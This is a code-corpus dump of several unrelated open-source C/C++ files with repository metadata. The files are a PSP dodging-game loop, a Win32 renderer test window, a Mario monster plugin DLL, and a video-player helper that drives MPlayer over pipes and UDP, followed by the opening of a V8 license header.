(TIMEUNIT)*(level*2 - 1), bgColor = RGBA((R_BG*(10-level*2-2))/8,(G_BG*(10-level*2-2))/8,(B_BG*(10-level*2-2))/8,255); } else if (level == 3) { if (sublevel == false) hitDelay = 35, maxBoltX = MAXBOLTX/2, maxBoltY = MAXBOLTY/2, timeLimit = (TIMEUNIT)*(level*2-1), timeLevel = (TIMEUNIT)*(level*2-1) - (TIMEUNIT)*(level - 1)*2, bgColor = RGBA((R_BG*(10-level*2-1))/8,(G_BG*(10-level*2-1))/8,(B_BG*(10-level*2-1))/8,255); else hitDelay = 40, maxBoltX = MAXBOLTX, maxBoltY = MAXBOLTY, timeLimit = (TIMEUNIT)*(level)*2, timeLevel = (TIMEUNIT)*(level*2) - (TIMEUNIT)*(level*2 - 1), bgColor = RGBA((R_BG*(10-level*2-2))/8,(G_BG*(10-level*2-2))/8,(B_BG*(10-level*2-2))/8,255); } else { if (sublevel == false) hitDelay = 40, maxBoltX = MAXBOLTX/2, maxBoltY = MAXBOLTY/2, timeLimit = (TIMEUNIT)*(level*2-1), timeLevel = (TIMEUNIT)*(level*2-1) - (TIMEUNIT)*(level - 1)*2, bgColor = RGBA(16,16,16,255); else hitDelay = 45, maxBoltX = MAXBOLTX, maxBoltY = MAXBOLTY, timeLimit = (TIMEUNIT)*(level)*2, timeLevel = (TIMEUNIT)*(level*2) - (TIMEUNIT)*(level*2 - 1), bgColor = RGBA(0,0,0,255); } oslRgbaGet8888(bgColor,Progress.r,Progress.g,Progress.b,n); oslReadKeys(); while (playing && !osl_quit) { // sets random number of bolts for each side, depending on difficulty n = 0; for (i=LEFT; i<DOWN+1; i++) { nbBolt[i] = 0; } for (i=LEFT; i<DOWN+1; i++) { j = rand()%4; if ((level == 1) && (n == 0)) { if (j <UP) nbBolt[j] = maxBoltY; else nbBolt[j] = maxBoltX; n++; } else if ((level == 2) && (n < 2)) { if (j <UP) nbBolt[j] = maxBoltY; else nbBolt[j] = maxBoltX; n++; } else if ((level == 3) && (n < 3)) { if (j <UP) nbBolt[j] = maxBoltY; else nbBolt[j] = maxBoltX; n++; } else if ((level == 4) && (n < 4)) { if (j <UP) nbBolt[j] = maxBoltY; else nbBolt[j] = maxBoltX; n++; } } // activates random bolts's appearance for each side, depending on maximum number of bolts set above for each side m = 0; for (i=LEFT; i<DOWN+1; i++) { n = 0; for (j=0; j<4; j++) { boltOn[i][j] = 0; if ((n <nbBolt[i]) && (i <UP) && (j<MAXBOLTY)) boltOn[i][j] = rand()%2; else if ((n <nbBolt[i]) && (i >RIGHT)) boltOn[i][j] = rand()%2; if (boltOn[i][j]) n++; } m+= n; } // erases one bolt if all of them got activated if (m >8) { i = rand()%4; if (i<UP) j = rand()%2; else { j = rand()%4; if (j == 2) j = 0; else if (j == 1) j = 3; } if (i == LEFT) { if (j == 0) boltOn[i][j] = 0, boltOn[UP][0] = 0; else boltOn[i][j] = 0, boltOn[DOWN][0] = 0; } else if (i == RIGHT) { if (j == 0) boltOn[i][j] = 0, boltOn[UP][3] = 0; else boltOn[i][j] = 0, boltOn[DOWN][3] = 0; } else if (i == UP && (j == 0 || j == 3)) { if (j == 0) boltOn[i][j] = 0, boltOn[LEFT][0] = 0; else boltOn[i][j] = 0, boltOn[RIGHT][0] = 0; } else if (i == DOWN && (j == 0 || j == 3)) { if (j == 0) boltOn[i][j] = 0, boltOn[LEFT][1] = 0; else boltOn[i][j] = 0, boltOn[RIGHT][1] = 0; } } // erases some bolts if all up and 3 down were activated if (boltOn[UP][0] && boltOn[UP][1] && boltOn[UP][2] && boltOn[UP][3] && boltOn[DOWN][0] && boltOn[DOWN][1] && boltOn[DOWN][2]) { j = rand()%8; if (j <4) { boltOn[UP][j] = 0; } else { j = rand()%3; boltOn[DOWN][j] = 0, boltOn[DOWN][j+1] = 0; } } else if (boltOn[UP][0] && boltOn[UP][1] && boltOn[UP][2] && boltOn[UP][3] && boltOn[DOWN][0] && boltOn[DOWN][1] && boltOn[DOWN][3]) { j = rand()%8; if (j <4) { boltOn[UP][j] = 0; } else { j = rand()%3; boltOn[DOWN][j] = 0, boltOn[DOWN][j+1] = 0; } } else if (boltOn[UP][0] && boltOn[UP][1] && boltOn[UP][2] && boltOn[UP][3] && boltOn[DOWN][0] && boltOn[DOWN][2] && boltOn[DOWN][3]) { j = rand()%8; if (j <4) { boltOn[UP][j] = 0; } else { j = rand()%3; boltOn[DOWN][j] = 0, boltOn[DOWN][j+1] = 0; } } else if (boltOn[UP][0] && boltOn[UP][1] && boltOn[UP][2] && boltOn[UP][3] && boltOn[DOWN][1] && boltOn[DOWN][2] && boltOn[DOWN][3]) { j = rand()%8; if (j <4) { boltOn[UP][j] = 0; } else { j = rand()%3; boltOn[DOWN][j] = 0, boltOn[DOWN][j+1] = 0; } } for (i=0; i<4; i++) { tboltOn[i] = false; } if (boltOn[LEFT][0] && boltOn[UP][0]) boltOn[LEFT][0] = 0, boltOn[UP][0] = 0, tboltOn[0] = true; if (boltOn[RIGHT][0] && boltOn[UP][3]) boltOn[RIGHT][0] = 0, boltOn[UP][3] = 0, tboltOn[1] = true; if (boltOn[LEFT][1] && boltOn[DOWN][0]) boltOn[LEFT][1] = 0, boltOn[DOWN][0] = 0, tboltOn[2] = true; if (boltOn[RIGHT][1] && boltOn[DOWN][3]) boltOn[RIGHT][1] = 0, boltOn[DOWN][3] = 0, tboltOn[3] = true; // to prevent bolts from touching each other else if (boltOn[LEFT][0] && boltOn[UP][1]) { boltOn[LEFT][0] = 0, boltOn[UP][1] = 0, tboltOn[0] = true; } else if (boltOn[RIGHT][0] && boltOn[UP][2]) { boltOn[RIGHT][0] = 0, boltOn[UP][2] = 0, tboltOn[1] = true; } else if (boltOn[LEFT][1] && boltOn[DOWN][1]) { boltOn[LEFT][1] = 0, boltOn[DOWN][1] = 0, tboltOn[2] = true; } else if (boltOn[RIGHT][1] && boltOn[DOWN][2]) { boltOn[RIGHT][1] = 0, boltOn[DOWN][2] = 0, tboltOn[3] = true; } else if (boltOn[LEFT][1] && boltOn[UP][0]) { boltOn[UP][0] = 0; } else if (boltOn[RIGHT][1] && boltOn[UP][3]) { boltOn[UP][3] = 0; } else if (boltOn[LEFT][0] && boltOn[DOWN][0]) { boltOn[DOWN][0] = 0; } else if (boltOn[RIGHT][0] && boltOn[DOWN][3]) { boltOn[DOWN][3] = 0; } alpha = 10; alpha2 = alpha; for (i=0; i<4; i++) { delta[i] = alpha; } while (((time - oldTime) <TIMEDELAY) && playing && !osl_quit) { oslReadKeys(); // moving statements if (osl_pad.held.left || osl_pad.held.right || osl_pad.held.up || osl_pad.held.down) { if (osl_pad.held.left) { player->x = player->x - MOVE_STEP; if (player->x < 0) player->x = 0; } if (osl_pad.held.right) { player->x = player->x + MOVE_STEP; if (player->x > WIDTH-player->sizeX) player->x = WIDTH-player->sizeX; } if (osl_pad.held.up) { player->y = player->y - MOVE_STEP; if (player->y < 0) player->y = 0; } if (osl_pad.held.down) { player->y = player->y + MOVE_STEP; if (player->y > HEIGHT-player->sizeY) player->y = HEIGHT-player->sizeY; } } else { if (osl_pad.analogX >PAD_SENS_) { player->x = player->x + (MOVE_STEP*(osl_pad.analogX-PAD_SENS_))/(128-PAD_SENS_); if (player->x < 0) player->x = 0; else if (player->x > WIDTH-player->sizeX) player->x = WIDTH-player->sizeX; } else if (-osl_pad.analogX >PAD_SENS_) { player->x = player->x + (MOVE_STEP*(osl_pad.analogX+PAD_SENS_))/(128-PAD_SENS_); if (player->x < 0) player->x = 0; else if (player->x > WIDTH-player->sizeX) player->x = WIDTH-player->sizeX; } if (osl_pad.analogY >PAD_SENS_) { player->y = player->y + (MOVE_STEP*(osl_pad.analogY-PAD_SENS_))/(128-PAD_SENS_); if (player->y < 0) player->y = 0; else if (player->y > HEIGHT-player->sizeY) player->y = HEIGHT-player->sizeY; } else if (-osl_pad.analogY >PAD_SENS_) { player->y = player->y + (MOVE_STEP*(osl_pad.analogY+PAD_SENS_))/(128-PAD_SENS_); if (player->y < 0) player->y = 0; else if (player->y > HEIGHT-player->sizeY) player->y = HEIGHT-player->sizeY; } } k = 0; while (k <redraw && !osl_quit) { if (!Over.quit) { oslStartDrawing(); if (level == 4) oslDrawGradientRect(0,0,WIDTH,HEIGHT,bgColor,RGB(0,0,0),RGB(255,255,255),bgColor); else oslDrawGradientRect(0,0,WIDTH,HEIGHT,bgColor,RGB(2,3,40),RGB(255,255,255),bgColor); // draws images and checks collisions for (i=LEFT; i<DOWN+1; i++) { if (tboltOn[i]) { if (i == 0) { tbolt1->x = tboltPos[i].x; tbolt1->y = tboltPos[i].y; if (((time - oldTime) >hitDelay)&&(delta[i] == 255)) { if (isCollideCopy(player,tbolt1,player->x,player->y,0,0,tboltPos[i].x,tboltPos[i].y,0,0)) { if(oslGetSoundChannel(hurt) == -1) oslPlaySound(hurt, 4); Over.life-=hitDmg; if (Over.life <0) Over.life = 0; } } imFadeIn(tbolt1, delta[i], 10); } else if (i == 1) { tbolt2->x = tboltPos[i].x; tbolt2->y = tboltPos[i].y; if (((time - oldTime) >hitDelay)&&(delta[i] == 255)) { if (isCollideCopy(player,tbolt2,player->x,player->y,0,0,tboltPos[i].x,tboltPos[i].y,0,0)) { if(oslGetSoundChannel(hurt) == -1) oslPlaySound(hurt, 4); Over.life-=hitDmg; if (Over.life <0) Over.life = 0; } } imFadeIn(tbolt2, delta[i], 10); } else if (i == 2) { tbolt2->x = tboltPos[i].x; tbolt2->y = tboltPos[i].y; if (((time - oldTime) >hitDelay)&&(delta[i] == 255)) { if (isCollideCopy(player,tbolt2,player->x,player->y,0,0,tboltPos[i].x,tboltPos[i].y,0,0)) { if(oslGetSoundChannel(hurt) == -1) oslPlaySound(hurt, 4); Over.life-=hitDmg; if (Over.life <0) Over.life = 0; } } imFadeIn(tbolt2, delta[i], 10); } else { tbolt1->x = tboltPos[i].x; tbolt1->y = tboltPos[i].y; if (((time - oldTime) >hitDelay)&&(delta[i] == 255)) { if (isCollideCopy(player,tbolt1,player->x,player->y,0,0,tboltPos[i].x,tboltPos[i].y,0,0)) { if(oslGetSoundChannel(hurt) == -1) oslPlaySound(hurt, 4); Over.life-=hitDmg; if (Over.life <0) Over.life = 0; } } imFadeIn(tbolt1, delta[i], 10); } } for (j=0; j<4; j++) { if ((i >RIGHT) && boltOn[i][j]) { vbolt->x = boltPos[i][j].x; vbolt->y = boltPos[i][j].y; if (((time - oldTime) >hitDelay)&&(alpha == 255)) { if (isCollideCopy(player,vbolt,player->x,player->y,0,0,boltPos[i][j].x,boltPos[i][j].y,0,0)) { if(oslGetSoundChannel(hurt) == -1) oslPlaySound(hurt, 4); Over.life-=hitDmg; if (Over.life <0) Over.life = 0; } } imFadeIn(vbolt, alpha, 10); } else if (boltOn[i][j]) { hbolt->x = boltPos[i][j].x; hbolt->y = boltPos[i][j].y; if (((time - oldTime) >hitDelay)&&(alpha2 == 255)) { if (isCollideCopy(player,hbolt,player->x,player->y,0,0,boltPos[i][j].x,boltPos[i][j].y,0,0)) { if(oslGetSoundChannel(hurt) == -1) oslPlaySound(hurt, 4); Over.life-=hitDmg; if (Over.life <0) Over.life = 0; } } imFadeIn(hbolt, alpha2, 10); } } } oslSetAlpha(OSL_FX_TINT, RGBA(253+(((HURT_COL_R-253)*(100-Over.life))/100), 255+(((HURT_COL_G-255)*(100-Over.life))/100), 117+(((HURT_COL_B-117)*(100-Over.life))/100), 255)); //oslSetAlpha(OSL_FX_TINT, RGBA(253+((2*(100-Over.life))/100), 255-((255*(100-Over.life))/100), 117-((117*(100-Over.life))/100), 255)); oslDrawImage(player); oslSetAlpha(OSL_FX_DEFAULT, 0); sprintf(score, "Score : %d", Score+(time/60)*10); sprintf(health, "Health : %3d %%", Over.life); oslIntraFontSetStyle(f, 0.8f,RGBA(255,255,255,255), RGBA(0,0,0,224),INTRAFONT_ALIGN_LEFT); oslDrawString(20, 12, score); oslDrawString(20, 12+height[0]+0, health); oslSetAlpha(OSL_FX_ALPHA, 96); oslDrawFillRect(0,HEIGHT - (HEIGHT/16 + HEIGHT/32),WIDTH,HEIGHT,RGB(Progress.r,Progress.g,Progress.b)); oslSetAlpha(OSL_FX_ALPHA, 48); oslDrawFillRect(0 + 2,HEIGHT - (HEIGHT/16 + HEIGHT/32)+ 2,2 + ((WIDTH - 4)*((100 - ((timeLimit - time)*100)/timeLimit)/PREVIEW))/(100/PREVIEW),HEIGHT - 2,RGB(8,8,8)); sprintf(score, "%3d %%", ((100 - ((timeLimit - time)*100)/timeLimit)/PREVIEW)*PREVIEW); oslIntraFontSetStyle(f, 0.7f,RGBA(192,192,192,224), RGBA(0,0,0,224),INTRAFONT_ALIGN_CENTER); oslDrawString(WIDTH/2, (HEIGHT - (HEIGHT/16 + HEIGHT/32) + HEIGHT - height[1]/2)/2 - 1, score); oslSetAlpha(OSL_FX_DEFAULT, 0); oslEndDrawing(); oslEndFrame(); oslSyncFrame(); } if (Over.life <30 && !critic_on) oslPlaySound(critic, 5), critic_on = true; if (redraw == 2) { if (game_quit) { oslPauseSound(mgame, 1); if (quitScreen(f)) playing = false, Over.quit = true; else game_quit = false, oslPauseSound(mgame, 0); } else if (lost_game) playing = false, Over.quit = false; else if (won_game) playing = false; } else if (osl_pad.pressed.start || osl_pad.pressed.circle) redraw = 2, game_quit = true; else if (time >timeLimit/* || osl_pad.held.L*/) redraw = 2, won_game = true; else if (Over.life == 0) redraw = 2, lost_game = true; k++; } time++; redraw = 1; if (delta[0] <245) delta[0]+= 10; else delta[0] = 255; if (delta[1] <245) delta[1]+= 10; else delta[1] = 255; if (delta[2] <245) delta[2]+= 10; else delta[2] = 255; if (delta[3] <245) delta[3]+= 10; else delta[3] = 255; if (alpha <245) alpha+= 10; else alpha = 255; if (alpha2 <245) alpha2+= 10; else alpha2 = 255; } oldTime = time; } oslDeleteImage(tbolt2); oslDeleteImage(tbolt1); oslDeleteImage(vbolt); oslDeleteImage(hbolt); return Over; }
[ "[email protected]@4aba0ea6-2657-9f67-e26c-578093356fdb" ]
[ [ [ 1, 535 ] ] ]
5630f9fe226d3e6381e6261b2e43ff955e423477
a3d70ef949478e1957e3a548d8db0fddb9efc125
/各分块设定示例/渲染器/test.cpp
8468994666b7457aff67921921c1770cafd2f9c4
[]
no_license
SakuraSinojun/ling
fc58afea7c4dfe536cbafa93c0c6e3a7612e5281
46907e5548008d7216543bdd5b9cc058421f4eb8
refs/heads/master
2021-01-23T06:54:30.049039
2011-01-16T12:23:24
2011-01-16T12:23:24
32,323,103
0
0
null
null
null
null
WINDOWS-1252
C++
false
false
4,215
cpp
#include "common.h" #include "render.h" #include <windows.h> #include <stdio.h> typedef struct { BITMAPINFOHEADER Info; DWORD BitField[3]; }HEADER; BOOL OnIdle(LONG count); void CreateLingWindow(WNDPROC _lpfnWindowProc, int width, int height, bool onidle); void CreateLingWindow(WNDPROC _lpfnWindowProc, int width, int height, bool onidle = false) { HWND hWnd; HINSTANCE hInstance; hInstance = GetModuleHandle(NULL); WNDCLASS wndclas; wndclas.cbClsExtra = 0; wndclas.cbWndExtra = 0; wndclas.hbrBackground = (HBRUSH)GetStockObject(BLACK_BRUSH); wndclas.hCursor = LoadCursor(NULL,IDC_ARROW); wndclas.hIcon = LoadIcon(NULL,IDI_APPLICATION); wndclas.hInstance = hInstance; wndclas.lpfnWndProc = _lpfnWindowProc; wndclas.lpszClassName = "LINGWINDOW"; wndclas.lpszMenuName = NULL; wndclas.style = CS_VREDRAW | CS_HREDRAW | CS_OWNDC; RegisterClass(&wndclas); DWORD dwStyle = WS_OVERLAPPED | WS_CAPTION | WS_SYSMENU | WS_MINIMIZEBOX | WS_DLGFRAME; RECT rect; rect.left = 0; rect.top = 0; rect.right = width; rect.bottom = height; AdjustWindowRect(&rect, dwStyle, FALSE); hWnd = CreateWindow("LINGWINDOW", "ling", dwStyle , CW_USEDEFAULT, CW_USEDEFAULT, rect.right-rect.left, rect.bottom-rect.top, NULL, NULL, hInstance, NULL); ShowWindow (hWnd,SW_SHOWNORMAL); MSG msgCur; bool idle=true; int count = 0; if(onidle) { while(true) { if (::PeekMessage(&msgCur, NULL, 0, 0, PM_NOREMOVE)) { if (!::GetMessage(&msgCur, NULL, 0, 0)) return; //if (!PreTranslateMessage(&msgCur)) { ::TranslateMessage(&msgCur); ::DispatchMessage(&msgCur); } idle = true; count = 0; }else if (idle){ if(count==MAXLONG) count=0; if(!OnIdle(count++)) idle = false; }else{ ::WaitMessage(); } } }else{ while(GetMessage(&msgCur, NULL, 0, 0)) { TranslateMessage(&msgCur); DispatchMessage(&msgCur); } } return ; } //////////////////////////////////////////////////////////////////////////////// //static HBITMAP m_hBitmap; BOOL OnIdle(LONG count) { //RenderSence(); return TRUE; } void OnPaint(HWND hWnd, HDC hdc) { //RenderSence(); /* HDC memdc; memdc = CreateCompatibleDC(hdc); SelectObject(memdc, m_hBitmap); BitBlt(hdc, 0, 0, 640, 480, memdc, 0, 0, SRCCOPY); DeleteDC(memdc); */ } void OnCreate(HWND hWnd) { CRender *render = CRender::GetRender (); if(!render->InitRender ("glrender.dll")) { MessageBox(hWnd, "ÕÒ²»µ½äÖȾÒýÇæ¡£", "´íÎó", MB_OK); } if(!render->Attach (hWnd)) { exit(0); } render->Start (); /* BMPINFOHEADER biHeader; void * buffer = res::loadimg ("bg1.bmp", &biHeader); m_hBitmap = CreateBitmap(biHeader.biWidth, biHeader.biHeight, biHeader.biPlanes, biHeader.biBitCount, buffer); //m_hBitmap = CreateDIBSection(hdc, (BITMAPINFO *)&Header, DIB_RGB_COLORS, (void **)&buffer, NULL, 0); */ } void OnLButtonDown(HWND hWnd, int x, int y) { CRender::GetRender()->Start(); } void OnRButtonDown(int x, int y) { CRender::GetRender()->Pause(); //pl::unload("common.h"); } //////////////////////////////////////////////////////////////////////////////// LRESULT CALLBACK _WndProc(HWND hwnd, UINT uMsg, WPARAM wParam,LPARAM lParam) { PAINTSTRUCT ps; switch(uMsg) { case WM_CREATE: OnCreate(hwnd); break; case WM_CLOSE: CRender::GetRender()->Stop(); CRender::GetRender()->Detach(); PostQuitMessage (0); break; case WM_DESTROY: exit(0); break; case WM_PAINT: BeginPaint (hwnd, &ps); OnPaint(hwnd, ps.hdc); EndPaint (hwnd,&ps); break; case WM_LBUTTONDOWN: OnLButtonDown(hwnd, LOWORD(lParam), HIWORD(lParam)); break; case WM_RBUTTONDOWN: OnRButtonDown(LOWORD(lParam), HIWORD(lParam)); break; default: return DefWindowProc(hwnd,uMsg,wParam,lParam); } return 0; } int main(int argc, char ** argv) { CreateLingWindow(_WndProc, 800, 600, true); return 0; }
[ "SakuraSinojun@f09d58f5-735d-f1c9-472e-e8791f25bd30" ]
[ [ [ 1, 223 ] ] ]
884ef10637f727b314744925d85c699bb84b0945
7b32ec66568e9afc4bea9ffec8f54b9646958890
/ mariogame/source code/win 32 api/MonsterPlugin/MonsterPlugin.cpp
40e1906659abf84770d7369215ce389cbadc5e76
[]
no_license
Dr-Hydrolics/mariogame
47056e4247bcad6da75d0ab8954cda144ee4e499
8611287742690dd1dd51a865202a73535cefbec4
refs/heads/master
2016-08-13T00:17:40.387527
2010-05-13T13:02:24
2010-05-13T13:02:24
43,435,945
0
0
null
null
null
null
UTF-8
C++
false
false
2,936
cpp
// MonsterPlugin.cpp : Defines the entry point for the DLL application. // #include "stdafx.h" #include "MonsterPlugin.h" #ifdef _MANAGED #pragma managed(push, off) #endif BOOL APIENTRY DllMain( HMODULE hModule, DWORD ul_reason_for_call, LPVOID lpReserved ) { switch (ul_reason_for_call) { case DLL_PROCESS_ATTACH: case DLL_THREAD_ATTACH: case DLL_THREAD_DETACH: case DLL_PROCESS_DETACH: break; } return TRUE; } #ifdef _MANAGED #pragma managed(pop) #endif // This is an example of an exported variable MONSTERPLUGIN_API int nMonsterPlugin=0; // This is an example of an exported function. MONSTERPLUGIN_API int fnMonsterPlugin(void) { return 42; } MONSTERPLUGIN_API IMonster* CreateMonsterPlugin(int x, int y, int w, int h, LPCTSTR bmSpriteName, int dir, float sp) { IMonster* pMonster = NULL; pMonster = new CMonsterPlugin(x, y, w, h, bmSpriteName, dir, sp); return pMonster; } // This is the constructor of a class that has been exported. // see MonsterPlugin.h for the class definition CMonsterPlugin::CMonsterPlugin(int x, int y, int w, int h, LPCTSTR bmSrpiteName,int fd,float sp) { mDirection = fd; mType = TMONSTER; mXPos = x; mYPos = y; mWidth = w; mHeight = h; mCurFrame = 0; mCurDelay = 0; mDelayCount = 1; mFrameCount = 3; mJumpDirect=0; mJump=1; mAnimation = new Sprite(mXPos, mYPos, mWidth, mHeight, 1, mFrameCount, mDelayCount, bmSrpiteName); mXMove = 1; mYMove = 1; mXpos1=mXPos; mYpos1=mYPos; mSpeed =sp; oldmove =GetTickCount(); mLastHurt = 0; mHealth = 1; mStart = 0; } int CMonsterPlugin::DoAction(IObjectManager* objMan) { if(mHealth<=0) return -1; mXMove = 3; mYMove = 1.5*mXMove; int flag=0; if(mStart == 1) { int i= CheckCollision(objMan); if(i == -1) return -1; // Roi xuong vuc sau if(mJumpDirect==1 ) { if(mYpos1-mYPos>=200||GetBit(i,2)==1) { mJumpDirect=0; } else mYPos=mYPos -mYMove; } else { if( GetBit(i,3)==1) { flag=1; mJumpDirect=1; mYpos1=mYPos; mXpos1=mXPos; } else mYPos=mYPos + mYMove; } if(mDirection==DIRRIGHT) { if(GetBit(i,0)==1) { mAnimation->FlipFrame(); mDirection = DIRLEFT; mXPos=mXPos-mXMove; } else { mXPos=mXPos+mXMove; } } if(mDirection==DIRLEFT) { if (GetBit(i,1)==1) // bi can ben trai { mAnimation->FlipFrame(); mDirection = DIRRIGHT; mXPos=mXPos+mXMove; } else { mXPos=mXPos-mXMove; if(mXPos<0) { mXPos=0; mDirection=DIRRIGHT; mAnimation->FlipFrame(); } } } NextFrame(); } if(abs(mXPos - objMan->GetMarioPos().x) < 500 && mStart == 0) { mStart = 1; return 2; // Mario gap quai vat } return 1; }
[ "moonlight2708@0b8e3906-489a-11de-8001-7f2440edb24e" ]
[ [ [ 1, 151 ] ] ]
dc60b12b22bab04cc846b666925b0244e763e204
dbaf9d2188b396b8b0b3a0bba1a7b5f65445020b
/C++/VideoPlayer2/Source/util.cpp
9a0ada6ab3d57f7da0a6523a2a8cf1451c0a8145
[]
no_license
pa2011/PA2011
78cfb111914db106a9836c32ca7d74ce5d35d4dd
f3a61547099312f7eaafc70ced11add717d18dfc
refs/heads/master
2021-01-17T03:01:08.198459
2011-12-23T15:09:46
2011-12-23T15:09:46
2,592,967
0
0
null
null
null
null
UTF-8
C++
false
false
6,304
cpp
#include "util.h" int socketId; int playing = FALSE; float position; HANDLE stdInRd = NULL; HANDLE stdInWr = NULL; HANDLE stdOutRd = NULL; HANDLE stdOutWr = NULL; int socketIdIn; struct sockaddr_in addressIn; int socketIdOut; struct sockaddr_in addressOut; char bufIn[BUFFER_LENGTH]; char bufOut[BUFFER_LENGTH]; int timeStamp = 0; int steerValue = 0; int throttleValue = 0; int setupSockets(int udpPortIn, int udpPortOut, const char* remoteAddress) { #ifdef OS_WINDOWS WSADATA wsa; if(WSAStartup(MAKEWORD(2, 0), &wsa) != 0) { fprintf(stderr, "Could not start WinSock."); return 1; } #endif // create in socket socketIdIn = socket(AF_INET, SOCK_DGRAM, 0); if(socketIdIn < 0) { fprintf(stderr, "Could not open in socket.\n"); return 1; } memset(&addressIn, 0, sizeof(addressIn)); addressIn.sin_family = AF_INET; addressIn.sin_addr.s_addr = INADDR_ANY; addressIn.sin_port = htons(udpPortIn); if(bind(socketIdIn, (sockaddr *)&addressIn, sizeof(addressIn)) < 0) { fprintf(stderr, "Could not bind to in socket.\n"); return 1; } printf("Listening on port %d\n", udpPortIn); // create out socket socketIdOut = socket(AF_INET, SOCK_DGRAM, 0); if(socketIdOut < 0) { fprintf(stderr, "Could not open out socket.\n"); return 1; } memset(&addressOut, 0, sizeof(addressOut)); addressOut.sin_family = AF_INET; addressOut.sin_addr.s_addr = inet_addr(remoteAddress); addressOut.sin_port = htons(udpPortOut); if(connect(socketIdOut, (sockaddr *)&addressOut, sizeof(addressOut)) < 0) { fprintf(stderr, "Could not connect to out socket.\n"); return 1; } printf("Connected to %s:%d\n", remoteAddress, udpPortOut); return 0; } int readFromSocket() { // read message memset(&bufIn, 0, BUFFER_LENGTH); int msgLength = (int)recv(socketIdIn, bufIn, BUFFER_LENGTH, 0); if (msgLength < 0) { fprintf(stderr, "Error in function recv.\n"); return 1; } char tms[32]; char str[32]; char thr[32]; memset(&tms, 0, sizeof(tms)); memset(&str, 0, sizeof(str)); memset(&thr, 0, sizeof(thr)); char* p = strtok(bufIn, ";"); if(p != NULL) { sprintf(tms, "%s", p); p = strtok(NULL, ";"); if(p != NULL) { sprintf(str, "%s", p); p = strtok(NULL, ";"); if(p != NULL) { sprintf(thr, "%s", p); } } } timeStamp = atoi(tms); steerValue = atoi(str); throttleValue = atoi(thr); } int writeToSocket(int currentTimeStamp, float speed, float videoTimePos) { // send message memset(&bufOut, 0, BUFFER_LENGTH); sprintf(bufOut, "%d;%.2f;%.1f\n", currentTimeStamp, speed, videoTimePos); //sprintf(bufOut, "%.2f\n", speed); int msgLength = (int)sendto(socketIdOut, bufOut, BUFFER_LENGTH, 0, (sockaddr *)&addressOut, sizeof(addressOut)); if (msgLength < 0) { fprintf(stderr, "Error in function sendto.\n"); return 1; } } int getTimeStamp() { return timeStamp; } int getSteerValue() { return steerValue; } int getThrottleValue() { return throttleValue; } int startMPlayer(const char* mPlayerPath, const char* videoPath, float initialPosition) { char arguments[1024]; memset(&arguments, 0, sizeof(arguments)); sprintf(arguments, " -slave -hardframedrop -osdlevel 0 \"%s\"", videoPath); SECURITY_ATTRIBUTES saAttr; // Set the bInheritHandle flag so pipe handles are inherited. saAttr.nLength = sizeof(SECURITY_ATTRIBUTES); saAttr.bInheritHandle = TRUE; saAttr.lpSecurityDescriptor = NULL; // create a pipe for the child's stdin if (!CreatePipe(&stdInRd, &stdInWr, &saAttr, 0) || !SetHandleInformation(stdInWr, HANDLE_FLAG_INHERIT, 0)) { fprintf(stderr, "Could not create pipe for stdin.\n"); return 1; } // create a pipe for the child's stdout if (!CreatePipe(&stdOutRd, &stdOutWr, &saAttr, 0) || !SetHandleInformation(stdOutRd, HANDLE_FLAG_INHERIT, 0)) { fprintf(stderr, "Could not create pipe for stdout.\n"); return 1; } execProcess(mPlayerPath, arguments, stdInRd, stdOutWr, NULL); seek(initialPosition); Sleep(2000); char buffer[99999]; readMessage(buffer, true); return 0; } void execProcess(const char* szExe, const char* szArgs, HANDLE hStdIn, HANDLE hStdOut, HANDLE hStdErr) { STARTUPINFO si; PROCESS_INFORMATION pi; ZeroMemory( &si, sizeof(STARTUPINFO) ); si.cb = sizeof(STARTUPINFO); si.hStdError = hStdErr; si.hStdOutput = hStdOut; si.hStdInput = hStdIn; si.dwFlags |= STARTF_USESTDHANDLES; char cmdLine[1024]; sprintf(cmdLine, "%s%s", szExe, szArgs); BOOL bSuccess = FALSE; bSuccess = CreateProcess(NULL, cmdLine, NULL, NULL, TRUE, 0, NULL, NULL, &si, &pi); } int isPlaying() { return playing; } int playVideo(float speed) { playing = TRUE; return setSpeed(speed); } int pauseVideo() { playing = FALSE; char message[1024]; sprintf(message, "pausing frame_step\n"); return sendMessage(message); } int setSpeed(float speed) { char message[1024]; sprintf(message, "speed_set %lf\n", speed); return sendMessage(message); } int seek(float position) { char message[1024]; sprintf(message, "pausing seek %5.2lf 2\n", position); return sendMessage(message); } void refreshTimePos() { char buffer[1024]; memset(buffer, 0, sizeof(buffer)); readMessage(buffer, false); char buffer2[16]; memset(buffer2, 0, sizeof(buffer2)); strncpy(buffer2, buffer+2, 6); float newPosition = atof(buffer2); if(newPosition > 0) position = newPosition; } float getTimePos() { return position; } int sendMessage(const char* message) { DWORD dwWritten; if(!WriteFile(stdInWr, message, strlen(message), &dwWritten, NULL)) { fprintf(stderr, "Could not write to pipe.\n"); return 1; } return 0; } int readMessage(char* buffer, int wait) { DWORD dwRead; DWORD dwAvailable; if(!PeekNamedPipe(stdOutRd, NULL, NULL, NULL, &dwAvailable, NULL)) { fprintf(stderr, "Could not read from pipe.\n"); return 1; } if(wait || dwAvailable > 0) { if(!ReadFile(stdOutRd, buffer, dwAvailable, &dwRead, NULL)) { fprintf(stderr, "Could not read from pipe.\n"); return 1; } } return 0; }
[ [ [ 1, 290 ] ] ]
2ffbc979707670bdfb9d486f6c91aa2519085d5d
eb8a27a2cc7307f0bc9596faa4aa4a716676c5c5
/WinEdition/browser-lcc/jscc/src/v8/v8/src/inspector.h
0c7b58f6469a4aec27f1b494b1eabff42ce31105
[ "LicenseRef-scancode-public-domain", "Artistic-2.0", "BSD-3-Clause", "Artistic-1.0", "bzip2-1.0.6" ]
permissive
baxtree/OKBuzzer
c46c7f271a26be13adcf874d77a7a6762a8dc6be
a16e2baad145f5c65052cdc7c767e78cdfee1181
refs/heads/master
2021-01-02T22:17:34.168564
2011-06-15T02:29:56
2011-06-15T02:29:56
1,790,181
0
0
null
null
null
null
UTF-8
C++
false
false
2,347
h
// Copyright 2011 the V8 project authors. All rights reserved. // Redistribution and use in source and binary forms, with or without // modification, are permitted provided that the following conditions are // met: // // * Redistributions of source code must retain the above copyright // notice, this list of conditions and the following disclaimer. // * Redistributions in binary form must reproduce the above // copyright notice, this list of conditions and the following // disclaimer in the documentation and/or other materials provided // with the distribution. // * Neither the name of Google Inc. nor the names of its // contributors may be used to endorse or promote products derived // from this software without specific prior written permission. // // THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS // "AS IS" AND ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT // LIMITED 